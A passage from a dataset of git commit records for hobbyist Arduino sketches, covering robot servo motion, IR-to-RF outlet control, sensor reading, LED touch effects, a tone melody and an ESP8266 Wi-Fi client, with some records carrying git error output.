} \n}\n\nvoid moveDownArmsTogether() {\n for (pos = RIGHT_ARM_HIGH; pos >= RIGHT_ARM_LOW; pos -= 1) {\n rightArm.write(pos);\n leftArm.write(LEFT_ARM_LOW - pos);\n delay(40);\n }\n}\n\n\/**\n * Bouge la t\u00eate de gauche \u00e0 droite doucement\n *\/\nvoid moveHeadYesNoSoft() {\n attachServo();\n moveHeadFromMiddleToLeftSoft();\n moveHeadFromLeftToRightSoft();\n moveHeadFromRightToMiddleSoft();\n detachServo();\n}\n\nvoid moveHeadFromMiddleToLeftSoft() {\n for (pos = HEAD_MIDDLE; pos <= HEAD_LEFT_SOFT; pos += 1) {\n head.write(pos);\n delay(40);\n } \n}\n\nvoid moveHeadFromLeftToRightSoft() {\n for (pos = HEAD_LEFT_SOFT; pos >= HEAD_RIGHT_SOFT; pos -= 1) {\n head.write(pos);\n delay(40);\n } \n}\n\nvoid moveHeadFromRightToMiddleSoft() {\n for (pos = HEAD_RIGHT_SOFT; pos <= HEAD_MIDDLE; pos += 1) {\n head.write(pos);\n delay(40);\n } \n}\n\n\n\/**\n * Easter Egg Exorciste\n *\/\nvoid exorcisteHead() {\n attachServo();\n \/\/ Mouvement t\u00eate\n for (int i = 0; i <= 50; i += 1) {\n head.write(20);\n delay(50);\n head.write(60);\n delay(50); \n }\n for (int i = 0; i <= 50; i += 1) {\n rightArm.write(RIGHT_ARM_HIGH);\n leftArm.write(LEFT_ARM_HIGH);\n delay(50);\n rightArm.write(RIGHT_ARM_HIGH - 10);\n leftArm.write(LEFT_ARM_HIGH + 10);\n delay(50);\n }\n detachServo();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/Lea\/Lea.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1e897cfe009952cec74a0fc1025f61073714883a","subject":"add initial version of 'One-For-All HC8300 Light Control' clone","message":"add initial version of 'One-For-All HC8300 Light Control' clone\n","repos":"AndreasBoehm\/Arduino-Projects","old_file":"Harmony_RF_Outlet\/Harmony_RF_Outlet.ino","new_file":"Harmony_RF_Outlet\/Harmony_RF_Outlet.ino","new_contents":"\/*\n * Build your own 'One-For-All HC8300 Light Control' with your Arduino!\n * Version 0.1\n *\n * This sketch let you control wireless outlets with your Logitech Harmony Remote.\n * You need to add a 'One-For-All HC8300 Light Control'-Device to your Harmony,\n * because the IR-codes from this devices remote are used here.\n *\/\n#include <RCSwitch.h>\n#include <IRremote.h>\n\n#define RCSwitchDisableReceiving\n#define IR_PIN 2\n#define RF_PIN 4\n\n\/**\n * RF Socket Configuration\n *\/\nchar* rfSystemCode = \"00001\";\nchar* rfSocket1 = \"01000\";\n\n\/**\n * IR Code Configuration\n *\/\nconst unsigned long socket1On = 3895178441;\nconst unsigned long socket1Off = 254685380;\nconst unsigned long socket2On = 326842813;\nconst unsigned long socket2Off = 981317048;\n\ndecode_results results;\n\nIRrecv irrecv(IR_PIN);\nRCSwitch rcSwitch = RCSwitch();\n\nvoid setup() {\n irrecv.enableIRIn();\n irrecv.blink13(1);\n rcSwitch.enableTransmit(RF_PIN);\n}\n\nvoid loop() {\n if (irrecv.decode(&results)) {\n\n switch(results.value) {\n case socket1On:\n rcSwitch.switchOn(rfSystemCode, rfSocket1);\n break;\n case socket1Off:\n rcSwitch.switchOff(rfSystemCode, rfSocket1);\n break;\n default:\n break;\n }\n\n irrecv.resume();\n }\n\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"d5af2b50cce54d6fc9d2e76c0072bf25bf743058","subject":"Replace if statements with switch\/case","message":"Replace if statements with switch\/case\n","repos":"TheBeachLab\/BeachLab_midi-spectacle-arduino","old_file":"Software\/MIDI_IN\/MIDI_IN.ino","new_file":"Software\/MIDI_IN\/MIDI_IN.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TheBeachLab\/BeachLab_midi-spectacle-arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e22f40348e696f88c473542ccf3c55c0b7f63803","subject":"Grove\u306e\u6e29\u6e7f\u5ea6\u30bb\u30f3\u30b5\u306b\u5bfe\u5fdc","message":"Grove\u306e\u6e29\u6e7f\u5ea6\u30bb\u30f3\u30b5\u306b\u5bfe\u5fdc\n","repos":"hamatani63\/Waffle","old_file":"Arduino\/Waffle_GroveTempHumiSensor\/Waffle_GroveTempHumiSensor.ino","new_file":"Arduino\/Waffle_GroveTempHumiSensor\/Waffle_GroveTempHumiSensor.ino","new_contents":"#include <ArduinoJson.h>\n\n\/\/ Memory pool for JSON object tree.\n\/\/ Inside the brackets, 200 is the size of the pool in bytes.\n\/\/ If the JSON object is more complex, you need to increase that value.\nStaticJsonBuffer<200> jsonBuffer;\nJsonObject& json = jsonBuffer.createObject();\n\n#define DHT11_PIN 0 \/\/ ADC0\n\nbyte read_dht11_dat()\n{\n byte i = 0;\n byte result=0;\n for(i=0; i< 8; i++){\n\n while(!(PINC & _BV(DHT11_PIN))); \/\/ wait for 50us\n delayMicroseconds(30);\n\n if(PINC & _BV(DHT11_PIN))\n result |=(1<<(7-i));\n while((PINC & _BV(DHT11_PIN))); \/\/ wait '1' finish\n }\n return result;\n}\n\nvoid setup()\n{\n DDRC |= _BV(DHT11_PIN);\n PORTC |= _BV(DHT11_PIN);\n\n Serial.begin(9600);\n Serial.println(\"Ready\");\n}\n\nvoid loop()\n{\n byte dht11_dat[5];\n byte dht11_in;\n byte i;\n \/\/ start condition\n \/\/ 1. pull-down i\/o pin from 18ms\n PORTC &= ~_BV(DHT11_PIN);\n delay(18);\n PORTC |= _BV(DHT11_PIN);\n delayMicroseconds(40);\n\n DDRC &= ~_BV(DHT11_PIN);\n delayMicroseconds(40);\n\n dht11_in = PINC & _BV(DHT11_PIN);\n\n if(dht11_in){\n Serial.println(\"dht11 start condition 1 not met\");\n return;\n }\n delayMicroseconds(80);\n\n dht11_in = PINC & _BV(DHT11_PIN);\n\n if(!dht11_in){\n Serial.println(\"dht11 start condition 2 not met\");\n return;\n }\n delayMicroseconds(80);\n \/\/ now ready for data reception\n for (i=0; i<5; i++)\n dht11_dat[i] = read_dht11_dat();\n\n DDRC |= _BV(DHT11_PIN);\n PORTC |= _BV(DHT11_PIN);\n\n byte dht11_check_sum = dht11_dat[0]+dht11_dat[1]+dht11_dat[2]+dht11_dat[3];\n \/\/ check check_sum\n if(dht11_dat[4]!= dht11_check_sum)\n {\n Serial.println(\"DHT11 checksum error\");\n }\n\n for(i=0; i<50; i++){\n json[\"humdity\"] = dht11_dat[0];\n json[\"temperature\"] = dht11_dat[2];\n json[\"A0\"] = dht11_dat[0]*10.23;\n json.printTo(Serial);\n Serial.println();\n }\n\n \/\/delay(2000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Waffle_GroveTempHumiSensor\/Waffle_GroveTempHumiSensor.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ceaa262199ca0dfbdeeca2e0f60136299dfc2934","subject":"Added software example","message":"Added software example\n","repos":"Mindavi\/Arduino-SerialCommunicationLibrary","old_file":"examples\/Serial_communication_software\/Serial_communication_software.ino","new_file":"examples\/Serial_communication_software\/Serial_communication_software.ino","new_contents":"#include \"SerialCommunication.h\"\n#include <SoftwareSerial.h>\n\nSoftwareSerial swser(10,11);\nSerialCommunication communication = SerialCommunication(&swser);\n\nvoid setup() {\n Serial.begin(9600);\n}\n\nvoid loop() {\n \/\/first check for an update, if there is one then check the command\n if (communication.update()) {\n Serial.println(communication.getCommand());\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Serial_communication_software\/Serial_communication_software.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"a64cd219c9d028430df906810983ab279e97625a","subject":"fastLED and MPR121 test","message":"fastLED and MPR121 test\n","repos":"gatechipdl\/GameOfLight,gatechipdl\/GameOfLight,gatechipdl\/GameOfLight,gatechipdl\/GameOfLight","old_file":"firmware\/LO_mpr121_and_fastLED_test_cz\/LO_mpr121_and_fastLED_test_cz.ino","new_file":"firmware\/LO_mpr121_and_fastLED_test_cz\/LO_mpr121_and_fastLED_test_cz.ino","new_contents":"#include <FastLED.h>\n#include <MPR121.h>\n#include <Wire.h>\n\n#define LED_PIN 4\n#define baudRate 57600\n#define LED_TYPE WS2811\n#define COLOR_ORDER GRB\n#define NUM_LEDS 45\nCRGB leds[NUM_LEDS];\n\nint const STATION_SEGMENTS = 5;\nint SEGMENT_LED_COUNT = 9;\nfloat STATION_HUE[STATION_SEGMENTS];\nfloat STATION_SAT[STATION_SEGMENTS];\nfloat HUE_STEP = 0.002;\nfloat SAT_STEP_MAG = 0.003;\nfloat SAT_STEP[STATION_SEGMENTS];\nfloat BRI_STEP = 0.03;\nfloat BRI_STEP2 = 0.007;\nfloat STATION_BRI[STATION_SEGMENTS];\n\n\/\/ this is the touch threshold - setting it low makes it more like a proximity trigger\n\/\/ default value is 40 for touch\nconst int touchThreshold = 40;\n\/\/ this is the release threshold - must ALWAYS be smaller than the touch threshold\n\/\/ default value is 20 for touch\nconst int releaseThreshold = 20;\nint cap_dev[12];\nint cap_threshold = 2;\nint cap_sum = 0;\n\n#define PIN_SDA 14\n#define PIN_SCL 5\n\nvoid updateStation() {\n for (int i = 0; i < STATION_SEGMENTS; i++) {\n \/\/uint32_t STATION_COLOR = HSV_to_RGB(i);\n for (int j = 0; j < SEGMENT_LED_COUNT; j++) {\n leds[i].setHSV(STATION_HUE[i], STATION_SAT[i], STATION_BRI[i]);\n }\n }\n FastLED.show();\n}\n\n\/\/uint32_t HSV_to_RGB(int index) {\n\/\/ float hue = STATION_HUE[index];\n\/\/ float sat = sqrt(STATION_SAT[index]);\n\/\/ float bri = STATION_BRI[index];\n\/\/ hue = hue * 6;\n\/\/ int i = floor(hue);\n\/\/ float v = bri;\n\/\/ float f = hue - i;\n\/\/ float p = bri * (1 - sat);\n\/\/ float q = bri * (1 - sat * f);\n\/\/ float t = bri * (1 - sat * (1 - f));\n\/\/ byte r, g, b;\n\/\/ switch (i) {\n\/\/ case 0:\n\/\/ r = round(255 * v);\n\/\/ g = round(255 * t);\n\/\/ b = round(255 * p);\n\/\/ break;\n\/\/ case 1:\n\/\/ r = round(255 * q);\n\/\/ g = round(255 * v);\n\/\/ b = round(255 * p);\n\/\/ break;\n\/\/ case 2:\n\/\/ r = round(255 * p);\n\/\/ g = round(255 * v);\n\/\/ b = round(255 * t);\n\/\/ break;\n\/\/ case 3:\n\/\/ r = round(255 * p);\n\/\/ g = round(255 * q);\n\/\/ b = round(255 * v);\n\/\/ break;\n\/\/ case 4:\n\/\/ r = round(255 * t);\n\/\/ g = round(255 * p);\n\/\/ b = round(255 * v);\n\/\/ break;\n\/\/ default: \/\/ case 5:\n\/\/ r = round(255 * v);\n\/\/ g = round(255 * p);\n\/\/ b = round(255 * q);\n\/\/ }\n\/\/ return strip.Color(r, g, b);\n\/\/}\n\nvoid readRawInputs() {\n int i;\n\n if (MPR121.touchStatusChanged()) MPR121.updateTouchData();\n MPR121.updateBaselineData();\n MPR121.updateFilteredData();\n cap_sum = 0;\n for (i = 0; i < 12; i++) { \/\/ 13 value pairs\n cap_dev[i] = MPR121.getBaselineData(i) - MPR121.getFilteredData(i);\n Serial.print(cap_dev[i]);\n Serial.print(\" \");\n if (cap_dev[i] > cap_threshold) {\n cap_sum++;\n }\n }\n Serial.println();\n}\n\nvoid setup() {\n Serial.begin(baudRate);\n\n pinMode(PIN_SDA, OUTPUT);\n pinMode(PIN_SCL, OUTPUT);\n Wire.begin(PIN_SDA, PIN_SCL); \/\/SDA SCL\n Wire.setClockStretchLimit(1500); \/\/https:\/\/github.com\/esp8266\/Arduino\/issues\/2607\n \/\/Wire.setClock(100000L);\n delay(100);\n\n \/\/ 0x5C is the MPR121 I2C address on the Bare Touch Board\n while (!MPR121.begin(0x5A)) {\n Serial.println(\"error setting up MPR121\");\n switch (MPR121.getError()) {\n case NO_ERROR:\n Serial.println(\"no error\");\n break;\n case ADDRESS_UNKNOWN:\n Serial.println(\"incorrect address\");\n break;\n case READBACK_FAIL:\n Serial.println(\"readback failure\");\n break;\n case OVERCURRENT_FLAG:\n Serial.println(\"overcurrent on REXT pin\");\n break;\n case OUT_OF_RANGE:\n Serial.println(\"electrode out of range\");\n break;\n case NOT_INITED:\n Serial.println(\"not initialised\");\n break;\n default:\n Serial.println(\"unknown error\");\n break;\n }\n delay(1000);\n }\n\n MPR121.setTouchThreshold(touchThreshold);\n MPR121.setReleaseThreshold(releaseThreshold);\n\n for (uint8_t i = 0; i < 12; i++) {\n cap_dev[i] = 0;\n }\n\n FastLED.addLeds<LED_TYPE, LED_PIN, COLOR_ORDER>(leds, NUM_LEDS).setCorrection( TypicalLEDStrip );\n\n for (int i = 0; i < STATION_SEGMENTS; i++) {\n STATION_HUE[i] = 0.5;\n STATION_SAT[i] = 1.0;\n STATION_BRI[i] = 1.0;\n SAT_STEP[i] = SAT_STEP_MAG;\n }\n updateStation();\n}\n\nvoid loop() {\n readRawInputs();\n\n if (cap_dev[11] < cap_threshold) {\n for (int j = 0; j < STATION_SEGMENTS; j++) {\n if (STATION_BRI[j] < 1.0) {\n STATION_BRI[j] = STATION_BRI[j] + BRI_STEP2;\n STATION_BRI[j] = STATION_BRI[j] >= 1.0 ? 1.0 : STATION_BRI[j];\n break;\n }\n }\n updateStation();\n }\n for (uint8_t i = 0; i < 12; i++) {\n if (cap_dev[i] > cap_threshold) {\n int bri_or_sat = i \/ 5;\n int s = i - 5;\n switch (bri_or_sat) {\n case 0:\n STATION_HUE[i] = (STATION_HUE[i] + HUE_STEP);\n STATION_HUE[i] = STATION_HUE[i] > 1.0 ? STATION_HUE[i] - 1.0 : STATION_HUE[i];\n break;\n case 1:\n STATION_SAT[s] = (STATION_SAT[s] + SAT_STEP[s]);\n SAT_STEP[s] = STATION_SAT[s] >= 1.0 ? SAT_STEP[s] * -1 : STATION_SAT[s] <= 0.0 ? SAT_STEP[s] * -1 : SAT_STEP[s];\n STATION_SAT[s] = STATION_SAT[s] >= 1.0 ? 1.0 : STATION_SAT[s] <= 0.0 ? 0.0 : STATION_SAT[s];\n break;\n default: \/\/case 2\n for (int j = STATION_SEGMENTS - 1; j >= 0; j--) {\n if (STATION_BRI[j] > 0.0) {\n STATION_BRI[j] = STATION_BRI[j] - BRI_STEP;\n STATION_BRI[j] = STATION_BRI[j] <= 0.0 ? 0.0 : STATION_BRI[j];\n break;\n } else {\n if (j == 0) {\n for (int k = 0; k < STATION_SEGMENTS; k++) {\n STATION_SAT[k] = 1.0;\n }\n }\n }\n }\n break;\n }\n }\n }\n\n updateStation();\n}\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/LO_mpr121_and_fastLED_test_cz\/LO_mpr121_and_fastLED_test_cz.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"47e1bed964065b9fbcb9bf983b7436a2d3bb2863","subject":"removed rotary switch support due to lack of free interrupts","message":"removed rotary switch support due to lack of free interrupts\n","repos":"andydrop\/klampfinator,andydrop\/klampfinator","old_file":"src\/campfireXL\/campfireXL.ino","new_file":"src\/campfireXL\/campfireXL.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/andydrop\/klampfinator.git\/'\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"98d5224647422a03396153e207fbc18d29211072","subject":"Adding a basic implementation in Arduino","message":"Adding a basic implementation in Arduino\n","repos":"ayoungblood\/daisy-bell,ayoungblood\/daisy-bell,ayoungblood\/daisy-bell,ayoungblood\/daisy-bell,ayoungblood\/daisy-bell,ayoungblood\/daisy-bell,ayoungblood\/daisy-bell,ayoungblood\/daisy-bell,ayoungblood\/daisy-bell","old_file":"arduino\/daisy_basic\/daisy_basic.ino","new_file":"arduino\/daisy_basic\/daisy_basic.ino","new_contents":"\/**\n * daisy_basic.ino\n * Play Daisy using built-in tone() function\n * \n *\/\n\n#define A440 440 \/\/ frequency constant\n#define QUARTER 180 \/\/ quarter note length in ms\n\nconst uint8_t DAISY_P[] = {\n 74, 71, 67, 62, 64, 66, 67, 64, 67, 62,\n 69, 74, 71, 67, 64, 66, 67, 69, 71, 69,\n 71, 72, 71, 69, 74, 71, 69, 67, 69, 71, 67, 64, 67, 64, 62,\n 62, 67, 71, 69, 67, 71, 69, 71, 72, 74, 71, 67, 69, 62, 67\n};\nconst uint8_t DAISY_T[] = {\n 3, 3, 3, 3, 1, 1, 1, 2, 1, 6,\n 3, 3, 3, 3, 1, 1, 1, 2, 1, 6,\n 1, 1, 1, 1, 2, 1, 1, 4, 1, 2, 1, 2, 1, 1, 5,\n 1, 2, 1, 2, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1, 5\n};\n\nint i;\n\nvoid setup() {\n \/\/\n}\n\nvoid loop() {\n for (i=0; i<50; ++i) {\n float freq = pow(2,(DAISY_P[i]-69)\/12.0f)*A440;\n tone(9,(int)freq,DAISY_T[i]*QUARTER);\n delay(DAISY_T[i]*QUARTER);\n }\n delay(QUARTER);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/daisy_basic\/daisy_basic.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b0b9edc2f755a490b2aa6ddf902fe8f19146ad45","subject":"Finishes energy arduino code with the new LED strip!","message":"Finishes energy arduino code with the new LED strip!\n","repos":"bassjansson\/vera,bassjansson\/vera,bassjansson\/vera,bassjansson\/vera","old_file":"room\/arduino\/energy\/energy.ino","new_file":"room\/arduino\/energy\/energy.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bassjansson\/vera.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0be3ebe9d57a9f8a20ae1430da1859398d253c99","subject":"Create esp8266Module-Base-Code.ino","message":"Create esp8266Module-Base-Code.ino","repos":"celmare\/esp8266Module,fz-29\/esp8266Module,mrdavidjwatts\/esp8266Module","old_file":"esp8266Module-Base-Code.ino","new_file":"esp8266Module-Base-Code.ino","new_contents":"\/\/INCLUDES\n\n#include \"U8glib.h\"\n#include <SoftwareSerial.h>\n\n\/\/ OBJECTS\nU8GLIB_SSD1306_128X64 u8g(U8G_I2C_OPT_NONE);\t\/\/ Display which does not send AC\nSoftwareSerial esp8266Module(10, 11); \/\/ RX, TX\n\n\/\/ GLOBALS\nString network = \"---\";\nString password = \"---\";\nString weatherCode = \"2644668\";\nbool breakOut = false;\nint wifiStatus = 1;\n\n\/\/ Temp variables\nString val1 = \"----------\";\nString val2 = \"----------\";\nString val3 = \"----------\";\nString val4 = \"----------\";\nString val5 = \"----------\";\nint loopNum = 0;\nvoid setup() {\n \/\/ Serial Start\n Serial.begin(9600);\n esp8266Module.begin(9600);\n delay(10000);\n \/\/ Serial end\n}\n\nvoid loop() {\n \/\/ picture loop\n u8g.firstPage();\n do {\n displayShow();\n } while ( u8g.nextPage() );\n runEsp8266(\"www.davidjwatts.com\", \"\/arduino\/esp8266.php\");\n}\n\n\/\/ START DISPLAY\nvoid displayShow() {\n u8g.setFont(u8g_font_helvB08);\n u8g.setPrintPos(0, 8);\n String loops = \"Loops:\";\n u8g.print(loops + loopNum);\n u8g.setFont(u8g_font_5x8);\n u8g.setPrintPos(0, 18);\n u8g.print(val1);\n u8g.setFont(u8g_font_5x8);\n u8g.setPrintPos(0, 30);\n u8g.print(val2);\n u8g.setPrintPos(0, 40);\n u8g.print(val3);\n u8g.setPrintPos(0, 50);\n u8g.print(val4);\n u8g.setPrintPos(0, 60);\n u8g.print(val5);\n\n}\n\/\/ END DISPLAY\n\n\/\/ MAIN ESP8266 FUNCTION\nvoid runEsp8266(String website, String page) {\n \/\/ 0 need to reset or beginning of loop\n \/\/ 1 reset complete check wifi mode\n \/\/ 2 wifi mode is 3, now check network connection\n \/\/ 3 If not connected connect to network\n \/\/ 4 request page from server\n \/\/ 5 unlink from server after request\n \/\/ 6 close network connection\n switch (wifiStatus) {\n case 0: \/\/ 0 need to reset or beginning of loop\n Serial.println(\"TRYING esp8266Reset\");\n esp8266Reset();\n break;\n case 1: \/\/ 1 reset complete check wifi mode\n Serial.println(\"TRYING changeWifiMode\");\n changeWifiMode();\n break;\n case 2: \/\/ 2 wifi mode is 3, now check network connection\n Serial.println(\"TRYING checkWifiStatus\");\n checkWifiStatus();\n break;\n case 3: \/\/ 3 If not connected connect to network\n Serial.println(\"TRYING connectToWifi\");\n connectToWifi();\n \/\/connectToWifi(\"networkIdetifier\", \"networkPassword\");\n break;\n case 4: \/\/ 4 request page from server\n Serial.println(\"TRYING getPage\");\n getPage(website, page);\n \/\/getPage(website, page, \"?num=\", \"3\", \"&num2=\", \"2000\");\n break;\n case 5: \/\/ 5 unlink from server after request\n Serial.println(\"TRYING unlinkPage\");\n unlinkPage();\n break;\n }\n}\n\n\/\/ END MAIN ESP8266 FUNCTION\n\n\/\/ 0 - RESET\nbool esp8266Reset() {\n esp8266Module.println(F(\"AT+RST\"));\n delay(7000);\n if (esp8266Module.find(\"OK\"))\n {\n val1 = F(\"-RESET-\");\n wifiStatus = 1;\n return true;\n }\n else\n {\n val1 = F(\"-FAILED-\");\n wifiStatus = 0;\n return false;\n }\n}\n\/\/ END RESET\n\n\/\/ 1 - CHANGE MODE\nbool changeWifiMode()\n{\n esp8266Module.println(F(\"AT+CWMODE?\"));\n delay(5000);\n if (esp8266Module.find(\"3\"))\n {\n val1 = F(\"Wifi Mode is 3\");\n wifiStatus = 2;\n return true;\n }\n else\n {\n esp8266Module.println(F(\"AT+CWMODE=3\"));\n delay(5000);\n if (esp8266Module.find(\"no change\") || esp8266Module.find(\"OK\"))\n {\n val1 = F(\"Wifi Mode is 3\");\n wifiStatus = 2;\n return true;\n }\n else\n {\n val1 = F(\"Wifi Mode failed\");\n wifiStatus = 0;\n return false;\n }\n }\n\n}\n\/\/ END CHANGE MODE\n\n\/\/ 2 - CHECK WIFI NETWORK STATUS\nbool checkWifiStatus() {\n esp8266Module.println(\"AT+CWJAP?\");\n delay(5000);\n if (esp8266Module.find(\":\")) {\n Serial.println(\"WIFI NETWORK CONNECTED\");\n val1 = F(\"WIFI:\");\n val1 += esp8266Module.readStringUntil('\\n');\n wifiStatus = 4;\n return true;\n }\n else\n {\n wifiStatus = 3;\n return false;\n }\n}\n\/\/ END CHECK WIFI NETWORK STATUS\n\n\/\/ 3 - CONNECT TO WIFI\nbool connectToWifi() {\n String cmd = F(\"AT+CWJAP=\\\"\");\n cmd += network;\n cmd += F(\"\\\",\\\"\");\n cmd += password;\n cmd += F(\"\\\"\");\n esp8266Module.println(cmd);\n delay(5000);\n if (esp8266Module.find(\"OK\"))\n {\n Serial.println(\"CONNECTED TO WIFI\");\n\n val1 = F(\"CONNECTED TO WIFI\");\n wifiStatus = 4;\n return true;\n }\n else\n {\n wifiStatus = 0;\n return false;\n }\n}\n\/\/ optional function that accepts the network ID and password as variables\nbool connectToWifi(String networkId, String networkPassword) {\n String cmd = F(\"AT+CWJAP=\\\"\");\n cmd += networkId;\n cmd += F(\"\\\",\\\"\");\n cmd += networkPassword;\n cmd += F(\"\\\"\");\n esp8266Module.println(cmd);\n delay(5000);\n if (esp8266Module.find(\"OK\"))\n {\n Serial.println(\"CONNECTED TO WIFI\");\n\n val1 = F(\"CONNECTED TO WIFI\");\n wifiStatus = 4;\n return true;\n }\n else\n {\n wifiStatus = 0;\n return false;\n }\n}\n\/\/ END CONNECT TO WIFI NETWORK\n\n\/\/ 4 - GET PAGE\nbool getPage(String website, String page) {\n String cmd = F(\"AT+CIPSTART=\\\"TCP\\\",\\\"\");\n cmd += website;\n cmd += F(\"\\\",80\");\n esp8266Module.println(cmd);\n delay(5000);\n if (esp8266Module.find(\"Linked\"))\n {\n Serial.print(\"Connected to server\");\n\n }\n cmd = \"GET \";\n cmd += page;\n cmd += \"?num=1\"; \/\/construct the http GET request\n cmd += \"&weather=\";\n cmd += weatherCode;\n cmd += \" HTTP\/1.0\\r\\n\";\n cmd += \"Host:\";\n cmd += website;\n cmd += \"\\r\\n\\r\\n\"; \n Serial.println(cmd); \n esp8266Module.print(\"AT+CIPSEND=\");\n esp8266Module.println(cmd.length());\n Serial.println(cmd.length());\n\n if (esp8266Module.find(\">\")) \n {\n Serial.println(\"found > prompt - issuing GET request\"); \n esp8266Module.println(cmd); \n }\n else\n {\n wifiStatus = 5;\n Serial.println(\"No '>' prompt received after AT+CPISEND\");\n val1 = F(\"Failed request, retrying...\");\n return false;\n }\n\n while (esp8266Module.available() > 0)\n {\n esp8266Module.read();\n }\n\n if (esp8266Module.find(\"*\")) {\n String tempMsg = esp8266Module.readStringUntil('\\n');\n val2 = splitToVal(tempMsg, \"@\", \"|\");\n val3 = splitToVal(tempMsg, \"+\", \"@\");\n String piecetemp = splitToVal(tempMsg, \"|\", \"$\");\n val5 = splitToVal(tempMsg, \"$\", \"^\");\n val4 = splitToVal(tempMsg, \"^\", \"~\");\n int peice = piecetemp.toInt();\n Serial.println(val2);\n Serial.println(val3);\n Serial.println(val4);\n Serial.println(val5);\n Serial.println(piecetemp);\n wifiStatus = 5;\n return true;\n }\n else {\n wifiStatus = 5;\n return false;\n }\n\n}\n\n\/\/ optional getPage function that accepts user variables\nbool getPage(String website, String page, String urlVariableName1, String variable1, String urlVariableName2, String variable2) {\n String cmd = F(\"AT+CIPSTART=\\\"TCP\\\",\\\"\");\n cmd += website;\n cmd += F(\"\\\",80\");\n esp8266Module.println(cmd);\n delay(5000);\n if (esp8266Module.find(\"Linked\"))\n {\n Serial.print(\"Connected to server\");\n\n }\n cmd = \"GET \";\n cmd += page;\n cmd += urlVariableName1; \/\/ something like ?num=\n cmd += variable1;\n cmd += urlVariableName2; \/\/ something like &num2=\n cmd += variable2;\n cmd += \" HTTP\/1.0\\r\\n\";\n cmd += \"Host:\";\n cmd += website;\n cmd += \"\\r\\n\\r\\n\"; \n Serial.println(cmd); \n esp8266Module.print(\"AT+CIPSEND=\");\n esp8266Module.println(cmd.length());\n Serial.println(cmd.length());\n\n if (esp8266Module.find(\">\"))\n {\n Serial.println(\"found > prompt - issuing GET request\");\n esp8266Module.println(cmd); \n }\n else\n {\n wifiStatus = 5;\n Serial.println(\"No '>' prompt received after AT+CPISEND\");\n val1 = F(\"Failed request, retrying...\");\n return false;\n }\n\n while (esp8266Module.available() > 0)\n {\n esp8266Module.read();\n }\n\n if (esp8266Module.find(\"*\")) {\n String tempMsg = esp8266Module.readStringUntil('\\n');\n val2 = splitToVal(tempMsg, \"@\", \"|\");\n val3 = splitToVal(tempMsg, \"+\", \"@\");\n String piecetemp = splitToVal(tempMsg, \"|\", \"$\");\n val4 = splitToVal(tempMsg, \"$\", \"^\");\n val5 = splitToVal(tempMsg, \"^\", \"~\");\n int peice = piecetemp.toInt();\n Serial.println(val2);\n Serial.println(val3);\n Serial.println(val4);\n Serial.println(val5);\n Serial.println(piecetemp);\n wifiStatus = 5;\n return true;\n }\n else {\n wifiStatus = 5;\n return false;\n }\n\n}\n\n\/\/ END GET PAGE\n\n\/\/ 5 - UNLINK\nbool unlinkPage() {\n esp8266Module.println(F(\"AT+CIPCLOSE\"));\n delay(5000);\n if (esp8266Module.find(\"Unlink\"))\n {\n val1 = F(\"UNLINKED\");\n wifiStatus = 0;\n loopNum++;\n return true;\n }\n else\n {\n wifiStatus = 4;\n return false;\n }\n}\n\/\/ END UNLINK\n\n\/\/ 6 - CLOSE NETWORK --- This is not ready\nbool closeNetwork() {\n esp8266Module.println(F(\"AT+CWQAP\"));\n delay(5000);\n if (esp8266Module.find(\"OK\"))\n {\n val1 = F(\"NETWORK DISCONNECTED\");\n wifiStatus = 0;\n return true;\n }\n else\n {\n wifiStatus = 4;\n return false;\n }\n}\n\/\/ END CLOSE NETWORK\n\n\/\/ 7 - FIND WIFI NETWORKS --- This is not ready\nbool findWifiNetworks() {\n esp8266Module.println(\"AT+CWJAP\");\n delay(15000);\n if (esp8266Module.find(\":\")) {\n Serial.println(\"WIFI NETWORK CONNECTED\");\n val1 = F(\"WIFI:\");\n val1 += esp8266Module.readStringUntil('\\n');\n wifiStatus = 4;\n return true;\n }\n else\n {\n wifiStatus = 3;\n return false;\n }\n}\n\/\/ END CHECK WIFI NETWORK STATUS\n\n\/\/ SPLIT UP STRINGS\nString splitToVal(String inputString, String delimiter, String endChar) {\n String tempString = \"\";\n int from;\n int to;\n for (int i = 0; i < inputString.length(); i++) {\n if (inputString.substring(i, i + 1) == delimiter) {\n from = i + 1;\n }\n if (inputString.substring(i, i + 1) == endChar) {\n to = i;\n }\n }\n tempString = inputString.substring(from, to);\n return tempString;\n}\n\/\/ END SPLIT UP STRINGS\n\n\/\/ SPLIT UP STRINGS --- This is not ready\nString splitWifi(String inputWifi) {\n int firstListItem = inputWifi.indexOf(\"+CWLAP:(\");\n int secondListItem = inputWifi.indexOf(\"item\", firstListItem + 1 );\n String indexWifi = \"+CWLAP:(\"; \/\/ unhappy face\n 